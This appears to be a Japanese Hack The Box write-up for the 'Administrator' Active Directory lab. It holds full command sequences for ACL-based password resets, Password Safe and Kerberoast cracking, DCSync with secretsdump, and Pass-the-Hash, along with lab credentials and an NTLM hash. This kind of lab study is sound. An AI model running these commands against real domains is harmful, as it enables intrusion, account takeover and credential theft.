-u 'emily@administrator.htb' \
-p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' \
-dc-ip 10.129.17.11 \
-target DC.administrator.htb \
-ldap-scheme ldap \
-enabled \
-stdout
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 0 certificate templates
[*] Finding certificate authorities
[*] Found 0 certificate authorities
[*] Found 0 enabled certificate templates
[*] Finding issuance policies
[*] Found 1 issuance policy
[*] Found 0 OIDs linked to templates
[*] Enumeration output:
Certificate Authorities : [!] Could not find any CAs
Certificate Templates : [!] Could not find any certificate templates
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ certipy-ad find \
-u 'emily@administrator.htb' \
-p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' \
-dc-ip 10.129.17.11 \
-target DC.administrator.htb \
-ldap-scheme ldap \
-vulnerable \
-stdout
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 0 certificate templates
[*] Finding certificate authorities
[*] Found 0 certificate authorities
[*] Found 0 enabled certificate templates
[*] Finding issuance policies
[*] Found 1 issuance policy
[*] Found 0 OIDs linked to templates
[*] Enumeration output:
Certificate Authorities : [!] Could not find any CAs
Certificate Templates : [!] Could not find any certificate templates
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
⇒Shadow Credentialsはできないらしい
walkthrough(AI)¶
このAI版 walkthrough は、上の実行ログを後から読み返しやすいように整理したもの。方針は「Assumed breach の Olivia から開始し、AD ACL の連鎖を辿って最終的に DCSync まで持っていく」。
1. 初期情報とターゲット整理¶
Administrator は Assumed breach 形式の AD マシンで、最初から Olivia の資格情報が与えられている。
Target: 10.129.17.11
Domain: administrator.htb
DC: dc.administrator.htb
Olivia / ichliebedich
作業しやすいように変数化し、ホスト名も解決できるようにしておく。
export T=10.129.17.11
export D=administrator.htb
sudo nxc smb $T --generate-hosts-file /etc/hosts
Kerberos を使う場面が出てくるため、時刻ずれも確認する。大きくずれている場合は DC に合わせる。
sudo nmap -sU -p123 --script ntp-info,clock-skew $T
sudo nmap -p445 --script smb2-time,clock-skew $T
sudo ntpdate $T
2. 初期列挙¶
ポートスキャンでは、FTP / DNS / Kerberos / LDAP / SMB / WinRM が開いている。典型的な Windows AD 環境なので、SMB・LDAP・BloodHound を中心に列挙する。
nmap -sCV -p- $T
DNS ではドメインと DC の情報を確認する。
dig @$T administrator.htb any
dig axfr @$T administrator.htb
Olivia の資格情報で SMB を確認する。管理共有は読めないが、NETLOGON / SYSVOL は読める。
nxc smb $T -d $D -u Olivia -p 'ichliebedich' --shares
smbclient -L //$T -U 'Olivia%ichliebedich'
ユーザー一覧やパスワードポリシーも取っておく。
nxc smb $T -d $D -u Olivia -p 'ichliebedich' --users
nxc smb $T -d $D -u Olivia -p 'ichliebedich' --pass-pol
3. BloodHound で Olivia からの ACL チェーンを確認¶
Olivia で BloodHound データを取得する。
nxc ldap $T -d $D -u Olivia -p 'ichliebedich' --bloodhound --collection All --dns-server $T
BloodHound で見るべきパスは以下。
OLIVIA
└─ GenericAll → MICHAEL
└─ ForceChangePassword → BENJAMIN
└─ MemberOf → SHARE MODERATORS
ここで重要なのは、Olivia がいきなり Domain Admin へ行けるわけではないこと。Olivia の GenericAll で Michael を操作し、Michael の ForceChangePassword で Benjamin を操作する、という ACL チェーンを辿る。
4. Olivia の GenericAll で Michael のパスワードを変更¶
Olivia は Michael に対して GenericAll を持っているため、Michael のパスワードを変更できる。
bloodyad --host $T -d $D -u 'Olivia' -p 'ichliebedich' set password 'michael' 'NewPassw0rd!'
変更後、Michael の資格情報が使えるか確認する。
nxc smb $T -d $D -u 'michael' -p 'NewPassw0rd!'
nxc winrm $T -d $D -u 'michael' -p 'NewPassw0rd!'
Michael は WinRM が通るが、この時点でゴールではない。次の目的は Benjamin のパスワード変更。
5. Michael の ForceChangePassword で Benjamin のパスワードを変更¶
Michael は Benjamin に対して ForceChangePassword を持っているため、Benjamin のパスワードを変更できる。
bloodyad --host $T -d $D -u 'michael' -p 'NewPassw0rd!' set password 'benjamin' 'NewPassw0rd!'
Benjamin の資格情報を SMB / WinRM / FTP に試す。
nxc smb $T -d $D -u 'benjamin' -p 'NewPassw0rd!'
nxc winrm $T -d $D -u 'benjamin' -p 'NewPassw0rd!'
nxc ftp $T -d $D -u 'benjamin' -p 'NewPassw0rd!'
Benjamin は WinRM では入れないが、FTP には入れる。ここで「SMB / WinRM だけでなく、開いている認証先は全部見る」ことが大事。
6. FTP から Password Safe を回収¶
Benjamin で FTP に入り、Backup.psafe3 を回収する。
lftp -u benjamin,'NewPassw0rd!' $T -e 'mirror / ./ftp_download; bye'
file ftp_download/Backup.psafe3
Backup.psafe3 は Password Safe V3 database。中を見るにはマスターパスワードが必要なので、John 用 hash に変換して解析する。
python3 /usr/share/john/pwsafe2john.py ftp_download/Backup.psafe3 > psafe.hash
john psafe.hash --wordlist=/usr/share/wordlists/rockyou.txt
john --show psafe.hash
マスターパスワードは以下。
tekieromucho
Password Safe を開く。
pwsafe ftp_download/Backup.psafe3
Password Safe 内から、Emily の資格情報が得られる。
emily / UXLCI5iETUsIBoFVTj8yQFKoHjXmb
7. Emily で WinRM し user flag を取得¶
取得した Emily の資格情報を SMB / WinRM に試す。
nxc smb $T -d $D -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
nxc winrm $T -d $D -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
WinRM が通るので、シェルを取る。
evil-winrm -i $T -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
user flag を取得する。
whoami
cat C:\Users\emily\Desktop\user.txt
8. Emily の GenericWrite で Ethan を targeted Kerberoast¶
Emily の BloodHound データを取り直す。
nxc ldap $T -d $D -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' --bloodhound --collection All --dns-server $T
BloodHound で Emily から Ethan への GenericWrite が見える。
EMILY
└─ GenericWrite → ETHAN
ユーザーに対する GenericWrite は、SPN を一時的に追加して targeted Kerberoasting に使える。targetedKerberoast.py を使うと、SPN の追加・TGS 取得・SPN 削除までまとめて実行できる。
wget -O targetedKerberoast.py https://raw.githubusercontent.com/ShutdownRepo/targetedKerberoast/main/targetedKerberoast.py
python3 -m pip install impacket ldap3 dnspython
python3 targetedKerberoast.py -v \
-d $D \
-u emily \
-p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' \
--dc-ip $T \
--request-user ethan \
-o ethan.hash
取得した Kerberoast hash を crack する。
hashcat -m 13100 ethan.hash /usr/share/wordlists/rockyou.txt
hashcat -m 13100 ethan.hash --show
Ethan のパスワードが得られる。
ethan / limpbizkit
9. Ethan の権限を BloodHound で確認¶
Ethan の資格情報を確認する。
nxc smb $T -d $D -u ethan -p 'limpbizkit'
nxc winrm $T -d $D -u ethan -p 'limpbizkit'
Ethan は SMB 認証は通るが、WinRM は通らない。ここでシェル取得に固執せず、Ethan の AD 権限を BloodHound で見る。
nxc ldap $T -d $D -u ethan -p 'limpbizkit' --bloodhound --collection All --dns-server $T
BloodHound では Ethan がドメインオブジェクトに対して GetChanges / GetChangesAll を持っている。
ETHAN
└─ GetChanges + GetChangesAll → ADMINISTRATOR.HTB
これは DCSync に必要なレプリケーション権限。Domain Admin でなくても、この権限があれば NTDS から secrets を取得できる。
10. DCSync で Administrator hash を取得¶
Ethan の権限を使って DCSync する。
impacket-secretsdump $D/ethan:'limpbizkit'@$T -dc-ip $T
Administrator の NTLM hash が得られる。
Administrator:3dc553ce4b9fd20bd016e098d2d2fd2e
11. Pass-the-Hash で Administrator として WinRM¶
得られた Administrator hash を使って WinRM する。
evil-winrm -i $T -u Administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e
root flag を取得する。
whoami
cat C:\Users\Administrator\Desktop\root.txt
12. 攻撃の流れまとめ¶
Olivia 初期資格情報
→ BloodHoundで ACL 確認
→ Olivia の GenericAll で Michael のパスワード変更
→ Michael の ForceChangePassword で Benjamin のパスワード変更
→ Benjamin で FTP
→ Backup.psafe3 回収
→ pwsafe2john / john で Password Safe のマスターパスワード取得
→ Password Safe から Emily の資格情報取得
→ Emily で WinRM / user flag
→ Emily の GenericWrite で Ethan を targeted Kerberoast
→ Ethan のパスワード取得
→ Ethan の GetChanges / GetChangesAll で DCSync
→ Administrator hash 取得
→ Pass-the-Hash で root flag
drill¶
あとから手を動かして復習する用の最短ルート。IP が変わったら T だけ差し替える。
0. 前提セットアップ¶
export T=10.129.17.11
export D=administrator.htb
mkdir -p ~/htb/Administrator/$T
cd ~/htb/Administrator/$T
sudo nxc smb $T --generate-hosts-file /etc/hosts
時刻ずれがあると Kerberos 系のコマンドが失敗するので、最初に合わせる。
sudo nmap -sU -p123 --script ntp-info,clock-skew $T
sudo nmap -p445 --script smb2-time,clock-skew $T
sudo ntpdate $T
1. Olivia で BloodHound を取る¶
nxc smb $T -d $D -u Olivia -p 'ichliebedich' --shares
nxc ldap $T -d $D -u Olivia -p 'ichliebedich' --bloodhound --collection All --dns-server $T
BloodHound で確認するパス。
OLIVIA -- GenericAll --> MICHAEL -- ForceChangePassword --> BENJAMIN
2. Michael / Benjamin のパスワードを変更する¶
bloodyad --host $T -d $D -u 'Olivia' -p 'ichliebedich' set password 'michael' 'NewPassw0rd!'
nxc winrm $T -d $D -u 'michael' -p 'NewPassw0rd!'
bloodyad --host $T -d $D -u 'michael' -p 'NewPassw0rd!' set password 'benjamin' 'NewPassw0rd!'
nxc smb $T -d $D -u 'benjamin' -p 'NewPassw0rd!'
nxc winrm $T -d $D -u 'benjamin' -p 'NewPassw0rd!'
Benjamin は WinRM ではなく FTP が使える。
3. FTP から Password Safe を回収して Emily のパスワードを得る¶
lftp -u benjamin,'NewPassw0rd!' $T -e 'mirror / ./ftp_download; bye'
file ftp_download/Backup.psafe3
python3 /usr/share/john/pwsafe2john.py ftp_download/Backup.psafe3 > psafe.hash
john psafe.hash --wordlist=/usr/share/wordlists/rockyou.txt
john --show psafe.hash
Backup.psafe3 のマスターパスワードは tekieromucho。Password Safe を開いて Emily の認証情報を読む。
emily / UXLCI5iETUsIBoFVTj8yQFKoHjXmb
4. Emily で user flag¶
nxc winrm $T -d $D -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
evil-winrm -i $T -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
whoami
cat C:\Users\emily\Desktop\user.txt
exit
5. Emily の GenericWrite で Ethan を targeted Kerberoast¶
nxc ldap $T -d $D -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' --bloodhound --collection All --dns-server $T
wget -O targetedKerberoast.py https://raw.githubusercontent.com/ShutdownRepo/targetedKerberoast/main/targetedKerberoast.py
python3 -m pip install impacket ldap3 dnspython
python3 targetedKerberoast.py -v \
-d administrator.htb \
-u emily \
-p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' \
--dc-ip $T \
--request-user ethan \
-o ethan.hash
hashcat -m 13100 ethan.hash /usr/share/wordlists/rockyou.txt
hashcat -m 13100 ethan.hash --show
得られる Ethan のパスワード。
ethan / limpbizkit
6. Ethan の DCSync 権限で Administrator hash を抜く¶
nxc smb $T -d $D -u ethan -p 'limpbizkit'
nxc ldap $T -d $D -u ethan -p 'limpbizkit' --bloodhound --collection All --dns-server $T
impacket-secretsdump administrator.htb/ethan:'limpbizkit'@$T -dc-ip $T
BloodHound で見るポイント。
ETHAN -- GetChanges / GetChangesAll --> ADMINISTRATOR.HTB
Administrator の NTLM hash。
Administrator:3dc553ce4b9fd20bd016e098d2d2fd2e
7. Administrator で root flag¶
evil-winrm -i $T -u Administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e
whoami
cat C:\Users\Administrator\Desktop\root.txt